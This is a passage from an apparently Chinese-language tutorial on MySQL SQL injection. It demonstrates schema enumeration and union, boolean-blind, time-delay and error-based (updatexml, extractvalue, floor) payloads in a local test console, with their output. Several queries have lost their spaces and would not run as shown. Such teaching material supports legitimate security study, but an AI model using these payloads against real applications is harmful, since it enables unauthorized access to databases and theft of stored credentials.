mysql> select schema_name from information_schema.schemata; +--------------------+ | schema_name | +--------------------+ | information_schema | | empirecms | | met | | mysql | | performance_schema | | test | +--------------------+ 6 rows in set (0.01 sec)
查询库中的表名:
1 2 3 4 5 6 7
mysql> select table_name from information_schema.tables where table_schema='test'; +------------+ | table_name | +------------+ | user | +------------+ 1 row in set (0.00 sec)
查询表中的字段名:
1 2 3 4 5 6 7 8 9 10 11 12
mysql> select column_name from information_schema.columns where table_name='user'; +------------------------+ | column_name | +------------------------+ | Host | | User | | Password | | Select_priv | | Insert_priv | | ........... | +------------------------+ 45 rows in set (0.02 sec)
mysql中的条件语句
IF(expr1,expr2,expr3):
如果expr1是TRUE则返回值为expr2,否则返回值则为expr3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
mysql> select if(1=1,'yes','no'); +--------------------+ | if(1=1,'yes','no') | +--------------------+ | yes | +--------------------+ 1 row in set (0.00 sec)
mysql> selectif(1=2,'yes','no'); +--------------------+ | if(1=2,'yes','no') | +--------------------+ | no | +--------------------+ 1 row in set (0.00 sec)
IFNULL(expr1,expr2):
如果expr1不为NULL,则返回值为expr1,否则其返回值为expr2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
mysql> select ifnull(1,'testdemo'); +----------------------+ | ifnull(1,'testdemo') | +----------------------+ | 1 | +----------------------+ 1 row in set (0.00 sec)
mysql> selectifnull(1/0,'testdemo'); +------------------------+ | ifnull(1/0,'testdemo') | +------------------------+ | testdemo | +------------------------+ 1 row in set (0.00 sec)
case when expr1 then expr2 else expr3 end:
如果expr1是TRUE则返回值为expr2,否则返回值则为expr3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
mysql> select case when ascii(substr(database(),1,1))>1 then 1 else 2 end; +-------------------------------------------------------------+ | case when ascii(substr(database(),1,1))>1 then 1 else 2 end | +-------------------------------------------------------------+ | 1 | +-------------------------------------------------------------+ 1 row in set (0.00 sec)
mysql> selectcasewhenascii(substr(database(),1,1))>128then1else2end; +---------------------------------------------------------------+ | case when ascii(substr(database(),1,1))>128 then 1 else 2 end | +---------------------------------------------------------------+ | 2 | +---------------------------------------------------------------+ 1 row in set (0.00 sec)
mysql中的联合注入union
union select:
1 2 3 4 5 6 7 8 9 10
mysql> select * from user union select 1,2,3; +----+-----------+----------------------------------+ | id | username | password | +----+-----------+----------------------------------+ | 1 | testdemo | e10adc3949ba59abbe56e057f20f883e | | 2 | testdemo2 | e10adc3949ba59abbe56e057f20f883e | | 3 | testdemo3 | e10adc3949ba59abbe56e057f20f883e | | 1 | 2 | 3 | +----+-----------+----------------------------------+ 4 rows in set (0.00 sec)
union all select:
1 2 3 4 5 6 7 8 9 10
mysql> select * from user union all select 1,2,3; +----+-----------+----------------------------------+ | id | username | password | +----+-----------+----------------------------------+ | 1 | testdemo | e10adc3949ba59abbe56e057f20f883e | | 2 | testdemo2 | e10adc3949ba59abbe56e057f20f883e | | 3 | testdemo3 | e10adc3949ba59abbe56e057f20f883e | | 1 | 2 | 3 | +----+-----------+----------------------------------+ 4 rows in set (0.00 sec)
盲注
通过返回结果来判断字符ascii码,最终能获取database()的结果
1 2 3 4 5 6 7 8 9 10
mysql> select username,password from user where id=1 and ascii(substr((select database()),1,1))>65; +----------+----------------------------------+ | username | password | +----------+----------------------------------+ | testdemo | e10adc3949ba59abbe56e057f20f883e | +----------+----------------------------------+ 1 row in set (0.00 sec)
mysql> select username,passwordfromuserwhereid=1andascii(substr((selectdatabase()),1,1))>128; Empty set (0.00 sec)
延迟注入
通过返回的结果的时间来判断字符ascii码,最终能获取database()的结果
IF():
1 2 3 4 5 6 7 8 9 10
mysql> select username from user where id=1 and if(ascii(substr((select database()),1,1))>1,1,sleep(1)); +----------+ | username | +----------+ | testdemo | +----------+ 1 row in set (0.00 sec)
mysql> select username fromuserwhereid=1andif(ascii(substr((selectdatabase()),1,1))>128,1,sleep(1)); Empty set (1.00 sec)
IFNULL():
1 2 3 4 5 6 7 8 9 10
mysql> select username from user where id=1 and ifnull(1/(ascii(substr((select database()),1,1))>1),sleep(1)); +----------+ | username | +----------+ | testdemo | +----------+ 1 row in set (0.00 sec)
mysql> select username fromuserwhereid=1andifnull(1/(ascii(substr((selectdatabase()),1,1))>128),sleep(1)); Empty set (1.00 sec)
case when expr1 then expr2 else expr3 end:
1 2 3 4 5 6 7 8 9 10
mysql> select username from user where id=1 and (select case when ascii(substr((select database()),1,1))>1 then 1 else sleep(1) end); +----------+ | username | +----------+ | testdemo | +----------+ 1 row in set (0.00 sec)
mysql> select username fromuserwhereid=1and (selectcasewhenascii(substr((selectdatabase()),1,1))>128then1elsesleep(1) end); Empty set (1.00 sec)
报错注入
updatexml():
1 2
mysql> select username from user where 1=1 and updatexml(1,concat(0x7e,(select database())),1); ERROR 1105 (HY000): XPATH syntax error: '~test'
extractvalue():
1 2
mysql> select username from user where 1=1 and extractvalue(1,concat(0x7e,(select database()))); ERROR 1105 (HY000): XPATH syntax error: '~test'
floor():
1 2
mysql> select username from user where 1=1 and (select 1 from (select count(*),concat((select database()),floor(rand(0)*2))x from mysql.user group by x)a); ERROR 1062 (23000): Duplicate entry 'test1' for key 'group_key'
name_const():比较鸡肋
1 2
mysql> select username from user where 1=1 and (select * from (select name_const(version(),1),name_const(version(),1))a); ERROR 1060 (42S21): Duplicate column name '5.5.53'
exp():对于版本限制比较大
1 2
mysql> select exp(~(select * from(select user())x)); ERROR 1690 (22003): DOUBLE value is out of range in 'exp(~((select'root@localhost'from dual)))'